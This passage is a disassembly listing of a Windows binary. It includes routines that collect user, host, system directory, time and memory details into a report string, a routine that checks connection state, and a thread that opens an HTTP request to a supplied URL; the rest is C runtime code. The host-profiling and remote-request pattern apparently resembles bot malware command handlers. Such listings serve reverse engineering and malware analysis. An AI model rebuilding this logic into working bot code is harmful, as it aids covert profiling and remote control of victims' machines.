		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B2FE:				; CODE XREF: sub_41B1FC+54j
					; sub_41B1FC+D1j ...
		mov	ax, word_43A4F8
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CDB44
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_41B337
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_41B337:				; CODE XREF: sub_41B1FC+12Cj
		push	[ebp+arg_4]
		call	sub_40AB14
		pop	ecx
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_4CDC1C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41B360
		push	dword ptr [eax]
		jmp	short loc_41B365
; ---------------------------------------------------------------------------


loc_41B360:				; CODE XREF: sub_41B1FC+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B365:				; CODE XREF: sub_41B1FC+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C056
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_428078	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43CE0C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_428108	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_428104	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_428198	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C1A1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_416F9A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41B05C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416E8B
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416E8B
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B146
		push	edx
		push	eax
		push	offset dword_43CD30
		push	200h
		push	[ebp+arg_0]
		call	sub_41C150
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B1FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4B0	proc near		; CODE XREF: sub_401B66+270Bp
					; sub_401B66+7199p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		cmp	dword_4CDD48, 0
		jnz	short loc_41B524
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CDB28	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_41B505
		lea	eax, [ebp+var_8C]
		push	offset dword_43CE8C
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_41B505:				; CODE XREF: sub_41B4B0+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_41B51D
		push	offset dword_43CE84


loc_41B513:				; CODE XREF: sub_41B4B0+72j
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	short loc_41B543
; ---------------------------------------------------------------------------


loc_41B51D:				; CODE XREF: sub_41B4B0+5Cj
		push	offset off_43CE80
		jmp	short loc_41B513
; ---------------------------------------------------------------------------


loc_41B524:				; CODE XREF: sub_41B4B0+28j
		mov	esi, offset off_43CE7C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_41C056
		add	esp, 10h


loc_41B543:				; CODE XREF: sub_41B4B0+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43CE38
		push	200h
		push	[ebp+arg_0]
		call	sub_41C150
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B576	proc near		; DATA XREF: sub_401B66+7604o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43CF6C
		call	sub_41BD60
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BD60
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BD60
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BD60
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CDB60	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41B716
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B64D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch


loc_41B64D:				; CODE XREF: sub_41B576+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B66B
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch


loc_41B66B:				; CODE XREF: sub_41B576+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B685
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch


loc_41B685:				; CODE XREF: sub_41B576+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B69F
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch


loc_41B69F:				; CODE XREF: sub_41B576+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CDC14
		call	dword_4CDC38	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B72C
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CDC2C	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B733
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CDBD8	; HttpSendRequestA
		test	eax, eax
		lea	eax, [ebp+var_55C]
		jz	short loc_41B70F
		push	offset dword_43CF50
		jmp	short loc_41B73E
; ---------------------------------------------------------------------------


loc_41B70F:				; CODE XREF: sub_41B576+190j
		push	offset unk_43CF14
		jmp	short loc_41B73E
; ---------------------------------------------------------------------------


loc_41B716:				; CODE XREF: sub_41B576+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43CEF8
		push	eax
		call	sub_41C056
		mov	esi, [ebp+var_C]
		jmp	short loc_41B744
; ---------------------------------------------------------------------------


loc_41B72C:				; CODE XREF: sub_41B576+153j
		push	offset unk_43CECC
		jmp	short loc_41B738
; ---------------------------------------------------------------------------


loc_41B733:				; CODE XREF: sub_41B576+17Bj
		push	offset unk_43CE9C


loc_41B738:				; CODE XREF: sub_41B576+1BBj
		lea	eax, [ebp+var_55C]


loc_41B73E:				; CODE XREF: sub_41B576+197j
					; sub_41B576+19Ej
		push	eax
		call	sub_41C056


loc_41B744:				; CODE XREF: sub_41B576+1B4j
		cmp	[ebp+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41B771
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409982
		add	esp, 14h


loc_41B771:				; CODE XREF: sub_41B576+1D6j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	esi
		call	dword_4CDC98	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4CDC98	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41B576	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B7A4	proc near		; CODE XREF: sub_40E453+185p
		jmp	dword_4281DC
sub_41B7A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B7B0	proc near		; CODE XREF: sub_401000+38p
					; sub_401252+14Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B7D0


loc_41B7BC:				; CODE XREF: sub_41B7B0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B803
		test	ecx, 3
		jnz	short loc_41B7BC
		add	eax, 0


loc_41B7D0:				; CODE XREF: sub_41B7B0+Aj
					; sub_41B7B0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B7D0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B821
		test	ah, ah
		jz	short loc_41B817
		test	eax, 0FF0000h
		jz	short loc_41B80D
		test	eax, 0FF000000h
		jz	short loc_41B803
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------


loc_41B803:				; CODE XREF: sub_41B7B0+11j
					; sub_41B7B0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B80D:				; CODE XREF: sub_41B7B0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B817:				; CODE XREF: sub_41B7B0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B821:				; CODE XREF: sub_41B7B0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B7B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B82B	proc near		; CODE XREF: sub_4010C2+62p
					; sub_401B66+5808p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B840
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B87A
; ---------------------------------------------------------------------------


loc_41B840:				; CODE XREF: sub_41B82B+Ej
		test	al, 83h
		jz	short loc_41B878
		push	esi
		call	sub_41E38B
		push	esi
		mov	edi, eax
		call	sub_41E325
		push	dword ptr [esi+10h]
		call	sub_41E272
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B866
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B878
; ---------------------------------------------------------------------------


loc_41B866:				; CODE XREF: sub_41B82B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B878
		push	eax
		call	sub_41B881
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B878:				; CODE XREF: sub_41B82B+17j
					; sub_41B82B+39j ...
		mov	eax, edi


loc_41B87A:				; CODE XREF: sub_41B82B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B82B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B881	proc near		; CODE XREF: sub_4010C2+5Cp
					; sub_40AA3C+C3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B8E7
		mov	eax, dword_4DF6C8
		cmp	eax, 3
		jnz	short loc_41B8AD
		push	esi
		call	sub_41E677
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B8D9
		push	eax
		call	sub_41E6A2
		pop	ecx
		pop	ecx
		jmp	short loc_41B8E7
; ---------------------------------------------------------------------------


loc_41B8AD:				; CODE XREF: sub_41B881+14j
		cmp	eax, 2
		jnz	short loc_41B8D8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F3D2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B8D8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F429
		add	esp, 0Ch
		jmp	short loc_41B8E7
; ---------------------------------------------------------------------------


loc_41B8D8:				; CODE XREF: sub_41B881+2Fj
					; sub_41B881+44j
		push	esi


loc_41B8D9:				; CODE XREF: sub_41B881+20j
		push	0
		push	dword_4DF6C4
		call	dword_428144	; RtlFreeHeap


loc_41B8E7:				; CODE XREF: sub_41B881+Aj
					; sub_41B881+2Aj ...
		pop	esi
		leave
		retn
sub_41B881	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8EA	proc near		; CODE XREF: sub_4010C2+43p
					; sub_40F8BC+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B90E
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B90E:				; CODE XREF: sub_41B8EA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B921
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------


loc_41B921:				; CODE XREF: sub_41B8EA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------


loc_41B92A:				; CODE XREF: sub_41B8EA+C4j
		mov	ecx, [ebp+arg_0]


loc_41B92D:				; CODE XREF: sub_41B8EA+35j
					; sub_41B8EA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B95F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B95F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B944
		mov	edi, eax


loc_41B944:				; CODE XREF: sub_41B8EA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	near ptr sub_41CAE0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B9AA
; ---------------------------------------------------------------------------


loc_41B95F:				; CODE XREF: sub_41B8EA+49j
					; sub_41B8EA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B992
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B975
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B975:				; CODE XREF: sub_41B8EA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F91C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B9BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B9C2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B9AA
; ---------------------------------------------------------------------------


loc_41B992:				; CODE XREF: sub_41B8EA+78j
		push	esi
		call	sub_41F843
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B9C6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B9AA:				; CODE XREF: sub_41B8EA+73j
					; sub_41B8EA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B92A
		mov	eax, [ebp+arg_8]


loc_41B9B7:				; CODE XREF: sub_41B8EA+1Fj
					; sub_41B8EA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B9BC:				; CODE XREF: sub_41B8EA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------


loc_41B9C2:				; CODE XREF: sub_41B8EA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B9C6:				; CODE XREF: sub_41B8EA+B2j
					; sub_41B8EA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B9B7
sub_41B8EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D2	proc near		; CODE XREF: sub_4010C2+2Cp
					; sub_41D7A3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B9ED
		push	[ebp+arg_4]
		call	sub_41BCA5
		pop	ecx
		jmp	loc_41BC6D
; ---------------------------------------------------------------------------


loc_41B9ED:				; CODE XREF: sub_41B9D2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BA02
		push	[ebp+arg_0]
		call	sub_41B881
		pop	ecx
		jmp	loc_41BC6B
; ---------------------------------------------------------------------------


loc_41BA02:				; CODE XREF: sub_41B9D2+20j
		mov	eax, dword_4DF6C8
		cmp	eax, 3
		jnz	loc_41BB12


loc_41BA10:				; CODE XREF: sub_41B9D2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BAEE
		push	[ebp+arg_0]
		call	sub_41E677
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BAC9
		cmp	esi, dword_4DF6C0
		ja	short loc_41BA82
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EE80
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BA7E
		push	esi
		call	sub_41E9CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BA82
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BA62
		mov	eax, esi


loc_41BA62:				; CODE XREF: sub_41B9D2+8Cj
		push	eax
		push	ebx
		push	edi
		call	near ptr sub_41CAE0
		push	ebx
		call	sub_41E677
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E6A2
		add	esp, 18h


loc_41BA7E:				; CODE XREF: sub_41B9D2+74j
		test	edi, edi
		jnz	short loc_41BAC5


loc_41BA82:				; CODE XREF: sub_41B9D2+62j
					; sub_41B9D2+81j
		test	esi, esi
		jnz	short loc_41BA89
		push	1
		pop	esi


loc_41BA89:				; CODE XREF: sub_41B9D2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DF6C4
		call	dword_428148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BAC5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BAB1
		mov	eax, esi


loc_41BAB1:				; CODE XREF: sub_41B9D2+DBj
		push	eax
		push	ecx
		push	edi
		call	near ptr sub_41CAE0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E6A2
		add	esp, 14h


loc_41BAC5:				; CODE XREF: sub_41B9D2+AEj
					; sub_41B9D2+D0j
		test	ebx, ebx
		jnz	short loc_41BAEA


loc_41BAC9:				; CODE XREF: sub_41B9D2+56j
		test	esi, esi
		jnz	short loc_41BAD0
		push	1
		pop	esi


loc_41BAD0:				; CODE XREF: sub_41B9D2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DF6C4
		call	dword_42819C	; RtlReAllocateHeap
		mov	edi, eax


loc_41BAEA:				; CODE XREF: sub_41B9D2+F5j
		test	edi, edi
		jnz	short loc_41BB0B


loc_41BAEE:				; CODE XREF: sub_41B9D2+43j
		cmp	dword_4DE0B4, 0
		jz	short loc_41BB0B
		push	esi
		call	sub_41FB12
		test	eax, eax
		pop	ecx
		jnz	loc_41BA10
		jmp	loc_41BC6B
; ---------------------------------------------------------------------------


loc_41BB0B:				; CODE XREF: sub_41B9D2+11Aj
					; sub_41B9D2+123j ...
		mov	eax, edi
		jmp	loc_41BC6D
; ---------------------------------------------------------------------------


loc_41BB12:				; CODE XREF: sub_41B9D2+38j
		cmp	eax, 2
		jnz	loc_41BC2D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BB2F
		test	esi, esi
		jbe	short loc_41BB2C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BB2F
; ---------------------------------------------------------------------------


loc_41BB2C:				; CODE XREF: sub_41B9D2+150j
		push	10h
		pop	esi


loc_41BB2F:				; CODE XREF: sub_41B9D2+14Cj
					; sub_41B9D2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BC0F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F3D2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BBF3
		cmp	esi, dword_43EFE4
		jnb	short loc_41BBB7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F79A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BB7D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BBAF
; ---------------------------------------------------------------------------


loc_41BB7D:				; CODE XREF: sub_41B9D2+1A4j
		push	edi
		call	sub_41F46E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BBB7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BB96
		mov	eax, esi


loc_41BB96:				; CODE XREF: sub_41B9D2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	near ptr sub_41CAE0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F429
		add	esp, 18h


loc_41BBAF:				; CODE XREF: sub_41B9D2+1A9j
		test	edi, edi
		jnz	loc_41BB0B


loc_41BBB7:				; CODE XREF: sub_41B9D2+18Bj
					; sub_41B9D2+1B6j
		push	esi
		push	0
		push	dword_4DF6C4
		call	dword_428148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BC0F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BBD8
		mov	eax, esi


loc_41BBD8:				; CODE XREF: sub_41B9D2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	near ptr sub_41CAE0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F429
		add	esp, 18h
		jmp	short loc_41BC07
; ---------------------------------------------------------------------------


loc_41BBF3:				; CODE XREF: sub_41B9D2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DF6C4
		call	dword_42819C	; RtlReAllocateHeap
		mov	edi, eax


loc_41BC07:				; CODE XREF: sub_41B9D2+21Fj
		test	edi, edi
		jnz	loc_41BB0B


loc_41BC0F:				; CODE XREF: sub_41B9D2+162j
					; sub_41B9D2+1F8j
		cmp	dword_4DE0B4, 0
		jz	loc_41BB0B
		push	esi
		call	sub_41FB12
		test	eax, eax
		pop	ecx
		jnz	loc_41BB2F
		jmp	short loc_41BC6B
; ---------------------------------------------------------------------------


loc_41BC2D:				; CODE XREF: sub_41B9D2+143j
					; sub_41B9D2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BC57
		test	esi, esi
		jnz	short loc_41BC3B
		push	1
		pop	esi


loc_41BC3B:				; CODE XREF: sub_41B9D2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DF6C4
		call	dword_42819C	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41BC6D


loc_41BC57:				; CODE XREF: sub_41B9D2+260j
		cmp	dword_4DE0B4, 0
		jz	short loc_41BC6D
		push	esi
		call	sub_41FB12
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC2D


loc_41BC6B:				; CODE XREF: sub_41B9D2+2Bj
					; sub_41B9D2+134j ...
		xor	eax, eax


loc_41BC6D:				; CODE XREF: sub_41B9D2+16j
					; sub_41B9D2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC72	proc near		; CODE XREF: sub_41BC92+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FC9D
		test	eax, eax
		jnz	short loc_41BC7C
		retn
; ---------------------------------------------------------------------------


loc_41BC7C:				; CODE XREF: sub_41BC72+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FB2D
		add	esp, 10h
		retn
sub_41BC72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC92	proc near		; CODE XREF: sub_4010C2+18p
					; sub_401B66+57DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BC72
